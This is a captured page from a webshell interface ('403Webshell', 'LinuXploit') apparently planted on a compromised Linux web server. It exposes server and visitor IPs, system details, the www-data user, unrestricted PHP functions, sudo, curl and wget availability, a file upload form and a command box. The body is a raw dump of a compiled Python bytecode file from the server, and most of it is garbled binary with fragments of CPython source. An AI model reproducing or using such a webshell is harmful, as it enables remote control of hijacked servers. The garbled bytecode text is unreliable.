403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/self/root/proc/thread-self/root/lib/python3.14/_pyrepl/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/thread-self/root/lib/python3.14/_pyrepl/__pycache__/utils.cpython-314.pyc
+
��3jB3��~�^RIHt^RIt^RIt^RIt^RIt^RIt^RIt^RI	t	^RI
t
^RIHt^RI
Ht^RIHt^RIHtHtHtHtHt^RIHtHt^RIHt]P6!R	4t]P6!R
4t]P?RRR
R/4t RR0t!0R'mt"]#!]4Uu0uF#qPIR4'dK]!V4kK%	upt%Rt&!RR]4t'!RR]4t(]PRRRl4t*RRlt+R(RRllt,RRlt-RRlt.R R!lt/0R)mt00R'mt1R"R#lt2R*R$R%llt3R&!4t4R#uupi)+�)�annotationsN)�deque)�StringIO)�	TokenInfo)�Iterable�Iterator�Match�
NamedTuple�Self)�
CharBuffer�
CharWidths)�tracez\x1b\[[ -@]*[A-~]z\x01.*?\x02����def�class�_c�B�\P!R/VBP#)N�)�	_colorize�	get_theme�syntax)�kwargss,�$/usr/lib/python3.14/_pyrepl/utils.py�THEMErs�����(��(�/�/�/�c�\�]tRt^ t$RtR]R&R]R&]RRl4t]RRl4tR	t	R
#)�Spanz,Span indexing that's inclusive on both ends.�int�start�endc�$�V^8�dQhRRRRRR/#)��mz
Match[str]�groupz	int | str�returnrr)�formats"r�__annotate__�Span.__annotate__'s!��/�/�
�/�9�/��/rc	�`�VPV4pV!V^,V^,^,
4#)r)�span)�clsr%r&�re_spans&&& r�from_re�Span.from_re&s(���&�&��-���7�1�:�w�q�z�A�~�.�.rc�$�V^8�dQhRRRRRR/#)r$�token�TI�line_len�	list[int]r'rr)r(s"rr)r*,s!��

�

�r�

�Y�

�4�

rc	��RpVP\P\P09d+VPPR4'd
V^,
pV!W!P^,^,
,VP^,,W!P^,^,
,VP^,,V,4#)����)�{�})�type�T�FSTRING_MIDDLE�TSTRING_MIDDLE�string�endswithr!r")r-r2r4�
end_offsets&&& r�
from_token�Span.from_token+s����
��J�J�1�+�+�Q�-=�-=�>�>����%�%�j�1�1��!�O�J���[�[��^�a�'�(�5�;�;�q�>�9��Y�Y�q�\�A�%�&����1��5�
�B�
�	
rrN)
�__name__�
__module__�__qualname__�__firstlineno__�__doc__�__annotations__�classmethodr/rB�__static_attributes__rrrrr s5��6��J�	�H��/��/��

��

rrc�,�]tRt^9t$R]R&R]R&RtR#)�	ColorSpanrr,�str�tagrN)rDrErFrGrIrKrrrrMrM9s��
�J�	�HrrMc� �V^8�dQhRRRR/#)r$�crNr'r r)r(s"rr)r)?s��
�
��
��
rc���\V4^�8d^#\P!V4'd^#\P!V4pVR8Xd
VR8wd^#\P!V4pVR9d^#^#)��Cf�­)�N�Na�H�A)�ord�unicodedata�	combining�category�east_asian_width)rQr]�ws&  r�	str_widthr`>sd��
�1�v��|�����Q�����#�#�A�&�H��4��A��M���$�$�Q�'�A��!�!��rc� �V^8�dQhRRRR/#)r$�srNr'r r)r(s"rr)r)Ns��?�?�C�?�C�?rc��\V4^8XdVR8wd\V4#\RV44p\P	V4pVPR4pV\RV44,
V,#)r7�c3�8"�TFp\V4x�K	R#5i�N)r`��.0�is& r�	<genexpr>�wlen.<locals>.<genexpr>Qs���)�q�!��1���q���c3�8"�TFp\V4x�K	R#5irf)�lenrgs& rrjrkUs���1��1��A����rl)rnr`�sum�ANSI_ESCAPE_SEQUENCE�findall�count)rb�length�sequence�
ctrl_z_cnts&   r�wlenrvNse��
�1�v��{�q�F�{���|��
�)�q�)�
)�F�#�+�+�A�.�H������J��C�1��1�1�1�J�>�>rc�$�V^8�dQhRRRRRR/#)r$rbrN�including_content�boolr'r)r(s"rr)r)Xs!��)�)��)��)�#�)rc�h�V'd\PRV4#VP\4#)z�Return `s` with \001 and \002 characters removed.

If `including_content` is True, content between \001 and \002 is also
stripped.
r)�ZERO_WIDTH_BRACKET�sub�	translate�ZERO_WIDTH_TRANS)rbrxs&&r�	unbracketrXs*���!�%�%�b�!�,�,��;�;�'�(�(rc� �V^8�dQhRRRR/#)r$�bufferrNr'�Iterator[ColorSpan]r)r(s"rr)r)cs��
�
�s�
�2�
rc#�,"�\V4p^.VP4Uu.uFp\V4NK	up,p\^\V44F$pW4;;,W4^,
,,
uu&K&	VP	^4\
P!VP4pRp\WS4F	pVx�TpK	R#uupi \dR#\
Pd!p\Y�Y`4Rjx�L
Rp?R#Rp?ii;i5i)z�Returns a list of index spans to color using the given color tag.

The input `buffer` should be a valid start of a Python code block, i.e.
it cannot be a block starting in the middle of a multiline string.
N)r�	readlinesrn�range�seek�tokenize�generate_tokens�readline�gen_colors_from_token_stream�SyntaxError�
TokenError�recover_unterminated_string)	r��sio�line�line_lengthsri�gen�last_emitted�color�tes	&        r�
gen_colorsr�cs�����6�
�C��3��
�
��@���#�d�)��@�@�L�
�1�c�,�'�
(����<�!��,�,��)��H�H�Q�K�
�
"�
"�3�<�<�
0�C�%)�L�	
�1�#�D�E��K� �L�E��A��������
�.��l�
�	
�	
��
�sX� D�C
�A9D�0C�D�D�D�D�0D�1D�D�D�D�D�Dc
�,�V^8�dQhRRRRRRRRR	R
/#)r$�excztokenize.TokenErrorr�r5r�zColorSpan | Noner�rNr'r�r)r(s"rr)r)~s:��&
�&
�	�&
��&
�#�&
�
�	&
�
�&
rc#�"�VPwrEVfR#VwrgVPR4'd�W^,
,V,^,
pVR	,^,
p	V'dEW�PP8:d+\	RVR7VPP
^,p\
W�4p
\	RV
PV
P
R7\V
R4x�R#\	R\V4\V4R7R#5i)
Nzbefore last emitted = {s})rbzyielding span {a} -> {b})�a�br?z&unhandled token error({buffer}) = {te})r�r�)zunterminated string literalzunterminated f-string literalzunterminated t-string literalzEOF in multi-line stringz+unterminated triple-quoted f-string literalz+unterminated triple-quoted t-string literalr8)
�args�
startswithr,r!rr"rrM�reprrN)r�r�r�r��msg�loc�line_no�columnr!r"r,s&&&&       rr�r�~s�����x�x�H�C�
�{���O�G�
�~�~�	
�	�	��q�[�)�F�2�Q�6���2���"���E�%6�%6�%<�%<�<��-��7� �%�%�)�)�A�-�E��E���
�(�D�J�J�$�(�(�C���h�'�'�
�4���<��3�x�	
�s�DD
c�$�V^8�dQhRRRRRR/#)r$�token_generatorzIterator[TI]r�r5r'r�r)r(s"rr)r)�s&��;5�;5�!�;5��;5��;5rc#�"�\V4pRp^pVEFqwrVpVfQhVPVP8XdK*VP;;\P
8XdM�;\P8XdMp;\P8XdMZ;\P8XdMD;\P8XdM.;\P8XdM;\P8XdMM'\PWa4p\VR4x�K�;\P8Xd(\PWa4p\VR4x�EK5;\P 8Xd(\PWa4p\VR4x�EKq;\P"8Xd]VP$R9dV^,
pMVP$R9d
V^,p\PWa4p\VR4x�EK�\P&8XgEK�V'd)Rp\PWa4p\VR4x�EK)\(P*!VP$4'dYR	p	VP$\,9dR
p	\PWa4p\W�4x�VP$\.9dRpEK�EK�\(P0!VP$4'd@V^8Xd9\3WVV4'd'\PWa4p\VR4x�EKVP$\49dQV'd VP6\P88Xg'\PWa4p\VR
4x�EKnEKqEKt	R#5i)FNr?�comment�numberz([{z)]}�op�
definition�keyword�keyword_constantT�soft_keyword�builtin)�prev_next_windowr!r"r;r<�STRING�
FSTRING_STARTr=�FSTRING_END�
TSTRING_STARTr>�TSTRING_ENDrrBrM�COMMENT�NUMBER�OPr?�NAMEr��	iskeyword�KEYWORD_CONSTANTS�IDENTIFIERS_AFTER�
issoftkeyword�is_soft_keyword_used�BUILTINS�
exact_type�DOT)
r�r��token_window�is_def_name�
bracket_level�
prev_tokenr2�
next_tokenr,�span_clss
&&        rr�r��sg���$�O�4�L��K��M�)5�%�
�:�� � � ��;�;�%�)�)�#���j�j�E�����!�!�/�/�$4�A�$4�$4�}�q�}�}�!�!�/�/�$4�A�$4�$4�}�q�}�}�E����u�;����h�/�/��������u�;����i�0�0��������u�;����h�/�/������<�<�5�(�!�Q�&�M��\�\�U�*�!�Q�&�M����u�;����d�+�+������"'�K��?�?�5�?�D�#�D�,�7�7��&�&�u�|�|�4�4�(�H��|�|�'8�8�#5���?�?�5�?�D�#�D�3�3��|�|�'8�8�&*��9��)�)�%�,�,�7�7�%��*�,�Z�
�K�K��?�?�5�?�D�#�D�.�9�9��L�L�H�,�'�J�,A�,A�Q�U�U�,J��?�?�5�?�D�#�D�)�4�4�-K�-�_*6�s(�HN�
N�A
N�#A=N�!AN�=ANc� �V^8�dQhRRRR/#)r$�tokensz	TI | Noner'ryr)r(s"rr)r)�s��/�/�)�/��/rc��\RVR7T;EdM^8HEdEw;fM`;\Rc;ew\P8XdM=;\Rc;ew\P8XdM;\Rc;e
wR8XdMM�\Rc;e�wR8Xd�;\Rc;e_w;\P
8XdMD;\P8XdM.;\P8XdM;\P8XdMMMZ;\Rc;eKw\P8Xd5;R8XdM*;R8XdM";R	8XdM;R
8XdM;R8XdM
;R8XdMMMMR
#;d�^8Hd�w;fM`;\Rc;ew\P8XdM=;\Rc;ew\P8XdM;\Rc;e
wR8XdMM^\Rc;eSwR8XdL\Rc;eAw\P8Xd+p\P!V4'd
V\9#R
#;Edi^8HEdaw;fM�;\Rc;ew\P8XdMa;\Rc;ew\P8XdM=;\Rc;ew\P8XdM;\Rc;e
wR8XdMM�\Rc;e�wR8Xd�;\Rc;e_w;\P
8XdMD;\P8XdM.;\P8XdM;\P8XdMMMR;\Rc;eCw\P8Xd-;R8XdM";R8XdM;R8XdM;R	8XdM
;R
8XdMMMMR
#;d�^8Hd�w;fM�;\Rc;ew\P8XdMa;\Rc;ew\P8XdM=;\Rc;ew\P8XdM;\Rc;e
wR8XdMM^\Rc;eSwR8XdL\Rc;eAw\P8Xd+p\P!V4'd
V\9#R
#;dH^8HdAw\Rc;e2wR8Xd+\Rc;e wR8Xd\Rc;ewR8XdR
#d�^8Hd�w;fM�;\Rc;ew\P8XdMa;\Rc;ew\P8XdM=;\Rc;ew\P8XdM;\Rc;e
wR8XdMMQ\Rc;eFwR8Xd?\Rc;e4w\P8Xdp\P!V4'*#R#)z�Returns True if the current token is a keyword in this context.

For the `*tokens` to match anything, they have to be a three-tuple of
(previous, current, next).
zis_soft_keyword_used{t})�tr)r?�:�match�(�*�[r9�~z...T�case�-rr;F)rr3r<�NEWLINE�INDENTr�r�r�r�r�r�r�r��keyword_first_sets_match�DEDENT�keyword_first_sets_case)r�rbs* rr�r��s���
�
#�v�.�
�
�
��=�2�=�a�i�i�=�<�2�<�a�h�h�<�.�"�.�C�.�@���g�G�B�G�x�q�x�x�(�!�(�(�_�Q�_�_��q���F�G�B�b�B����c�C�#��c�E�A�B�
C��

�
�
��=�2�=�a�i�i�=�<�2�<�a�h�h�<�.�"�.�C�.�@���g�� �q�v�v�
�
� � ��#�#��4�4�4��
�
�
��=�2�=�a�i�i�=�<�2�<�a�h�h�<�,�"�,�Q�X�X�,����3��O���f�G�B�G�x�q�x�x�(�!�(�(�_�Q�_�_��q���F�G�:�b�:����c�C�#��c�9�:�
;��

�
�
��=�2�=�a�i�i�=�<�2�<�a�h�h�<�,�"�,�Q�X�X�,����3��O���f�� �q�v�v�
�
� � ��#�#��3�3�3��
�A�
@�b�����3���3��A�
�
��=�2�=�a�i�i�=�<�2�<�a�h�h�<�,�"�,�Q�X�X�,����3��O���f�� �q�v�v�
�
�(�(��+�+�+�
��rc
�,�V^8�dQhRRRRRRRRR	R
/#)r$r�rN�colorszlist[ColorSpan] | None�start_indexr �force_colorryr'ztuple[CharBuffer, CharWidths]r)r(s"rr)r)sA��S�S��S�"�S��S��	S�
#�Src�x�.p.pV'gWE3#V'd6V^,PPV8dVP^4K=\VR7pRpRpV'd<V^,PPV8dWa^,P
,p\
W4EF�wr�V'd<V^,PPV	8XdWa^,P
,pV
R8Xd$VPV
4VP^4M�\V
4^�8d$VPV
4VP^4M�\P!V
4PR4'd?R\V
4,p
VPV
4VP\V
44M+VPV
4VP\V
44V'd@V^,PPV	8XdVPpVP^4WtR,,V,VR&RpRpEK�	V'ddV^,PPX	8dBV^,PPV	8�d VR;;,VP,
uu&WE3#)a�Decompose the input buffer into a printable variant with applied colors.

Returns a tuple of two lists:
- the first list is the input buffer, character by character, with color
  escape codes added (while those codes contain multiple ASCII characters,
  each code is considered atomic *and is attached for the corresponding
  visible character*);
- the second list is the visible width of each character in the input
  buffer.

Note on colors:
- The `colors` list, if provided, is partially consumed within. We're using
  a list and not a generator since we need to hold onto the current
  unfinished span between calls to disp_str in case of multiline strings.
- The `colors` list is computed from the start of the input block. `buffer`
  is only a subset of that input block, a single line within. This is why
  we need `start_index` to inform us which position is the start of `buffer`
  actually within user input. This allows us to match color spans correctly.

Examples:
>>> utils.disp_str("a = 9")
(['a', ' ', '=', ' ', '9'], [1, 1, 1, 1, 1])

>>> line = "while 1:"
>>> colors = list(utils.gen_colors(line))
>>> utils.disp_str(line, colors=colors)
(['\x1b[1;34mw', 'h', 'i', 'l', 'e\x1b[0m', ' ', '1', ':'], [1, 1, 1, 1, 1, 1, 1, 1])

)r�rrd�Cz\u%04xr8)r,r"�poprr!rO�	enumerate�appendrZr[r]r�rnr`�reset)r�r�r�r��chars�char_widths�theme�	pre_color�
post_colorrirQs&&&&       r�disp_strr�s���F�E� �K���!�!�
�V�A�Y�^�^�'�'�+�5��
�
�1�
��k�*�E��I��J�
�&��)�.�.�&�&��4���)�-�-�(�	��&�.����f�Q�i�n�n�*�*�a�/��Q�i�m�m�,�I���;��L�L��O����q�!�
��V�c�\��L�L��O����q�!�
�
!�
!�!�
$�
/�
/��
4�
4��C��F�"�A��L�L��O����s�1�v�&��L�L��O����y��|�,��f�Q�i�n�n�(�(�A�-����J��J�J�q�M��b�	�)�J�6��b�	��	��
�1/�4�&��)�.�.�&�&��*�v�a�y�~�~�/A�/A�A�/E�	�b�	�U�[�[� �	���rc��R5;p3RRlu6#)r<c� �V^8�dQhRRRR/#)r$�iterablezIterable[T]r'zIterator[tuple[T | None, ...]]r)r(s"rr)r)qs������#�rc3�H"�\V4p\R\V43^R7pVF!pVPV4\	V4x�K#	TPR4\	T4x�R# \
dhi;i TPR4\	T4x�i;i5i)aGenerates three-tuples of (previous, current, next) items.

On the first iteration previous is None. On the last iteration next
is None. In case of exception next is None and the exception is re-raised
on a subsequent next() call.

Inspired by `sliding_window` from `itertools` recipes.
N)�maxlen)�iterr�nextr��tuple�	Exception)r��iterator�window�xs&   rr�r�qs�����H�~�H�
�D�$�x�.�)�!�
4�F���A��M�M�!����-���	�
�
�d���F�m���	��
���	�
�
�d���F�m��s(�$B"�'A/� B"�/
A<�<A?�? B�B"r)�	.defaultsr<s  r�(<generic parameters of prev_next_window>r�qs	��Q�r>�None�True�False)F>�notr�r�r��await�lambda)NrF)5�
__future__r�builtins�	functoolsr��rer2r<r�r[r�collectionsr�iorrr3�typingrrr	r
r�typesrr
r�compilerpr{rN�	maketransr~r�r��dirr�r�rrrM�cacher`rvrr�r�r�r�r�r�r�r�)�names0r�<module>rs!��"����	�������$�>�>�)���z�z�"6�7���Z�Z��/���=�=�&�"�f�b�!9�:���G�$��-��"%�h�-�L�-�$���s�7K�I�C��I�-�L��0�

�:�
�2
�
�
�
���
��
�?�)�
�6&
�R;5�|O��3��/�dS�l���s
Ms� D:�=D:

Youez - 2016 - github.com/yon3zu
LinuXploit